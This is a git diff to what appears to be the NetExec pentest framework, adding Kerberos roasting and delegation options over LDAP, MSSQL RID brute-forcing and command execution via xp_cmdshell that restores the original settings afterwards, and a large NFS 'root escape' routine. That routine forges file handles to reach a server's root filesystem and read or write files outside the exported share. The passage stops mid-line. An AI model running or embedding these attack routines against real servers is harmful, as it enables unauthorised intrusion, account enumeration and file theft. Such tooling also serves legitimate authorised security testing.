b/nxc/protocols/ldap/kerberos.py index 6abb1f19..2e47fd17 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -28,6 +28,7 @@ class KerberosAttacks: self.username = connection.username self.password = connection.password self.domain = connection.domain + self.host = connection.host self.targetDomain = connection.targetDomain self.hash = connection.hash self.lmhash = "" @@ -223,6 +224,10 @@ class KerberosAttacks: message = encoder.encode(as_req) + # If kdcHost isn't set, use the target IP for DNS resolution + if not self.kdcHost: + self.kdcHost = self.host + try: r = sendReceive(message, domain, self.kdcHost) except KerberosError as e: diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index fc01c9d3..1c007914 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -5,7 +5,6 @@ def proto_args(parser, parents): ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone) ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port") - ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection") dgroup = ldap_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") @@ -15,13 +14,17 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file") - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") + vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") + vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") - vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users") - vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") + vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") + vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") + vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") + vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts") diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 61ce3f73..655484a7 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache +from impacket.dcerpc.v5.dtypes import SID from impacket.tds import ( SQLErrorException, TDS_LOGINACK_TOKEN, @@ -141,7 +142,6 @@ class mssql(connection): def print_host_info(self): self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") - return True @reconnect_mssql def kerberos_login( @@ -417,3 +417,46 @@ class mssql(connection): else: _type = f"{key['Type']:d}" return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})" + + def rid_brute(self, max_rid=None): + entries = [] + if not max_rid: + max_rid = int(self.args.rid_brute) + + try: + # Query domain + domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] + + # Query known group to determine raw SID & convert to canon + raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] + domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + except Exception as e: + self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") + + so_far = 0 + simultaneous = 1000 + for _j in range(max_rid // simultaneous + 1): + sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous + if sids_to_check == 0: + break + + # Batch query multiple sids at a time + sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] + raw_output = self.conn.sql_query(";".join(sid_queries)) + + for n, item in enumerate(raw_output): + username = item[""] + if username == "NULL": + continue + rid = so_far + n + self.logger.highlight(f"{rid}: {username}") + entries.append( + { + "rid": rid, + "domain": domain, + "username": username.split("\\")[1], + } + ) + + so_far += simultaneous + return entries diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 9b6edf85..b88b0227 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -5,7 +5,7 @@ from sqlalchemy import func, select, insert, update, delete, Table from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings @@ -189,7 +189,7 @@ class database(BaseDB): nxc_logger.debug(f"Hosts: {hosts}") if users is not None and hosts is not None: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} @@ -272,7 +272,6 @@ class database(BaseDB): q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) return self.db_execute(q).all() diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index 3fe0bb8e..3436a002 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -6,13 +6,15 @@ class MSSQLEXEC: self.mssql_conn = connection self.logger = logger + # Store the original state of options that have to be enabled/disabled in order to restore them later + self.backuped_options = {} + def execute(self, command): result = None - try: - self.logger.debug("Attempting to enable xp cmd shell") - self.enable_xp_cmdshell() - except Exception as e: - self.logger.error(f"Error when attempting to enable x_cmdshell: {e}") + + self.backup_and_enable("advanced options") + self.backup_and_enable("xp_cmdshell") + try: cmd = f"exec master..xp_cmdshell '{command}'" self.logger.debug(f"Attempting to execute query: {cmd}") @@ -27,42 +29,57 @@ class MSSQLEXEC: except Exception as e: self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") - try: - self.logger.debug("Attempting to disable xp cmd shell") - self.disable_xp_cmdshell() - except Exception as e: - self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") + self.restore("xp_cmdshell") + self.restore("advanced options") + return result - def enable_xp_cmdshell(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def restore(self, option): + try: + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.") + except Exception as e: + self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}") - def disable_xp_cmdshell(self): - query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def backup_and_enable(self, option): + try: + self.backuped_options[option] = self.is_option_enabled(option) + if not self.backuped_options[option]: + self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.") + query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;" + self.logger.debug(f"Executing query: {query}") + self.mssql_conn.sql_query(query) + else: + self.logger.debug(f"Option '{option}' is already enabled.") + except Exception as e: + self.logger.error(f"Error when checking/enabling option '{option}': {e}") - def enable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) - - def disable_ole(self): - query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;" - self.logger.debug(f"Executing query: {query}") - self.mssql_conn.sql_query(query) + def is_option_enabled(self, option): + query = f"EXEC master.dbo.sp_configure '{option}';" + self.logger.debug(f"Checking if {option} is enabled: {query}") + result = self.mssql_conn.sql_query(query) + # Assuming the query returns a list of dictionaries with 'config_value' as the key + self.logger.debug(f"{option} check result: {result}") + if result and result[0]["config_value"] == 1: + return True + return False def put_file(self, data, remote): try: - self.enable_ole() + self.backup_and_enable("advanced options") + self.backup_and_enable("Ole Automation Procedures") hexdata = data.hex() self.logger.debug(f"Hex data to write to file: {hexdata}") query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;" self.logger.debug(f"Executing query: {query}") self.mssql_conn.sql_query(query) - self.disable_ole() + self.restore("Ole Automation Procedures") + self.restore("advanced options") except Exception as e: self.logger.debug(f"Error uploading via mssqlexec: {e}") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 1bb5363f..b810ccea 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -29,4 +29,6 @@ def proto_args(parser, parents): tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt") tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") + mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") return parser \ No newline at end of file diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 86e5617d..f8a5b6c8 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,13 +1,75 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight -from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3 +from nxc.config import host_info_colors +from pyNfsClient import ( + Portmap, + Mount, + NFSv3, +) +from pyNfsClient.const import ( + NFS_PROGRAM, + NFS_V3, + ACCESS3_READ, + ACCESS3_MODIFY, + ACCESS3_EXECUTE, + NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, +) import re import uuid import math import os +class FileID: + root = "root" + ext = "ext/xfs" + btrfs = "btrfs" + udf = "udf" + nilfs = "nilfs" + fat = "fat" + lustre = "lustre" + kernfs = "kernfs" + invalid = "invalid" + unknown = "unknown" + + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 +fileid_types = { + 0: FileID.root, + 1: FileID.ext, + 2: FileID.ext, + 0x81: FileID.ext, + 0x4d: FileID.btrfs, + 0x4e: FileID.btrfs, + 0x4f: FileID.btrfs, + 0x51: FileID.udf, + 0x52: FileID.udf, + 0x61: FileID.nilfs, + 0x62: FileID.nilfs, + 0x71: FileID.fat, + 0x72: FileID.fat, + 0x97: FileID.lustre, + 0xfe: FileID.kernfs, + 0xff: FileID.invalid +} + +# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45 +fsid_lens = { + 0: 8, + 1: 4, + 2: 12, + 3: 8, + 4: 8, + 5: 8, + 6: 16, + 7: 24, +} + + class nfs(connection): def __init__(self, args, db, host): self.protocol = "nfs" @@ -22,6 +84,10 @@ class nfs(connection): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -50,7 +116,7 @@ class nfs(connection): self.port = self.mnt_port self.proto_logger() except Exception as e: - self.logger.fail(f"Error during Initialization: {e}") + self.logger.info(f"Error during Initialization: {e}") return False return True @@ -63,13 +129,20 @@ class nfs(connection): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") - return True + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -168,23 +241,28 @@ class nfs(connection): # Mount shares and check permissions self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}") self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mnt_info = self.mount.mnt(share, self.auth) - file_handle = mnt_info["mountinfo"]["fhandle"] + self.logger.debug(f"Mounted {share} - {mnt_info}") + if mnt_info["status"] != 0: + self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") + self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}") + else: + file_handle = mnt_info["mountinfo"]["fhandle"] - info = self.nfs3.fsstat(file_handle, self.auth) - free_space = info["resok"]["fbytes"] - total_space = info["resok"]["tbytes"] - used_space = total_space - free_space + info = self.nfs3.fsstat(file_handle, self.auth) + free_space = info["resok"]["fbytes"] + total_space = info["resok"]["tbytes"] + used_space = total_space - free_space - # Autodetectting the uid needed for the share - attrs = self.nfs3.getattr(file_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + # Autodetectting the uid needed for the share + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.auth["uid"] = attrs["attributes"]["uid"] - read_perm, write_perm, exec_perm = self.get_permissions(file_handle) - self.mount.umnt(self.auth) - self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}") + read_perm, write_perm, exec_perm = self.get_permissions(file_handle) + self.mount.umnt(self.auth) + self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + "/" + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") @@ -222,10 +300,16 @@ class nfs(connection): networks = self.export_info(self.mount.export()) self.logger.display("Enumerating NFS Shares Directories") - for share, network in zip(shares, networks): + for share, network in zip(shares, networks, strict=True): try: mount_info = self.mount.mnt(share, self.auth) - contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares) + self.logger.debug(f"Mounted {share} - {mount_info}") + if mount_info["status"] != 0: + self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}") + continue + + fhandle = mount_info["mountinfo"]["fhandle"] + contents = self.list_dir(fhandle, share, self.args.enum_shares) self.logger.success(share) if contents: @@ -265,17 +349,38 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return + + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break + + # Update the UID and GID for the file + self.update_auth(curr_fh) # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -284,7 +389,7 @@ class nfs(connection): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -299,7 +404,7 @@ class nfs(connection): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) @@ -312,18 +417,13 @@ class nfs(connection): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): - remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -331,26 +431,55 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + # Iterate over the path + curr_fh = mount_fh + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID from the directory + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -358,18 +487,22 @@ class nfs(connection): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return + + # Update the UID and GID for the file + self.update_auth(file_handle) try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file - self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -380,6 +513,216 @@ class nfs(connection): else: self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}") + def get_root_handles(self, mount_fh): + """ + Get possible root handles to escape to the root filesystem + Sources: + https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62 + https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py + + Usually: + - 1 byte: 0x01 fb_version + - 1 byte: 0x00 fb_auth_type, can be 0x00 (no auth) and 0x01 (some md5 auth), but is hardcoded to 0x00 in the linux kernel + - 1 byte: 0xXX fb_fsid_type -> determines the encoding (length) of the fsid, just must be preserved + - 1 byte: 0xXX fb_fileid_type -> determines the filesystem type + """ + # First enumerate the directory and try to find a file/dir that contains the fid_type (4th position: handle[3]) + # See: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + dir_data = self.format_directory(self.nfs3.readdirplus(mount_fh, auth=self.auth)) + filesystem = FileID.unknown + for entry in dir_data: + # Check if "." is already the root directory + if entry["name"] == b".": + if entry["name_handle"]["handle"]["data"][0] in [b"\x02", b"\x80"]: + self.logger.debug("Exported share is already the root directory") + return [entry["name_handle"]["handle"]["data"]] + elif entry["name"] == b"..": + continue + else: + try: + fid_type = entry["name_handle"]["handle"]["data"][3] + if fid_type in fileid_types: + filesystem = fileid_types[fid_type] + self.logger.debug(f"Found filesystem type: {filesystem}") + break + except Exception as e: + self.logger.debug(f"Error on getting filesystem type: {e}") + continue + + self.logger.debug(f"Filesystem type: {filesystem}") + + # Generate the root handle depending on the filesystem type and preserve the file_id (respect the length) + fh_fsid_type = mount_fh[2] + fh_fsid_len = fsid_lens[fh_fsid_type] + root_handles = [] + + # Generate possible root handles + # General syntax: 4 byte header + fsid + fileid + # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 + fh = bytearray(mount_fh) + if filesystem in [FileID.ext, FileID.unknown]: + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + if filesystem in [FileID.btrfs, FileID.unknown]: + # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling + for i in range(16): + subvolume = int.to_bytes(i) + b"\x01\x00\x00" + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + + return root_handles + + def try_root_escape(self) -> bool: + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ + if not self.nfs3: + raise Exception("NFS connection is not established") + + output_export = str(self.mount.export()) + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + self.logger.debug(f"Trying root escape on shares: {shares}") + for share in shares: + mount_info = self.mount.mnt(share, self.auth) + if mount_info["status"] != 0: + self.logger.debug(f"Root escape: can't list directory {share}: {NFSSTAT3[mount_info['status']]}") + self.mount.umnt(self.auth) + continue + mount_fh = mount_info["mountinfo"]["fhandle"] + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") + self.mount.umnt(self.auth) + return False + + def ls(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading or trailing slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + if dir_listing["status"] != 0: + self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") + return + content = self.format_directory(dir_listing) + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = 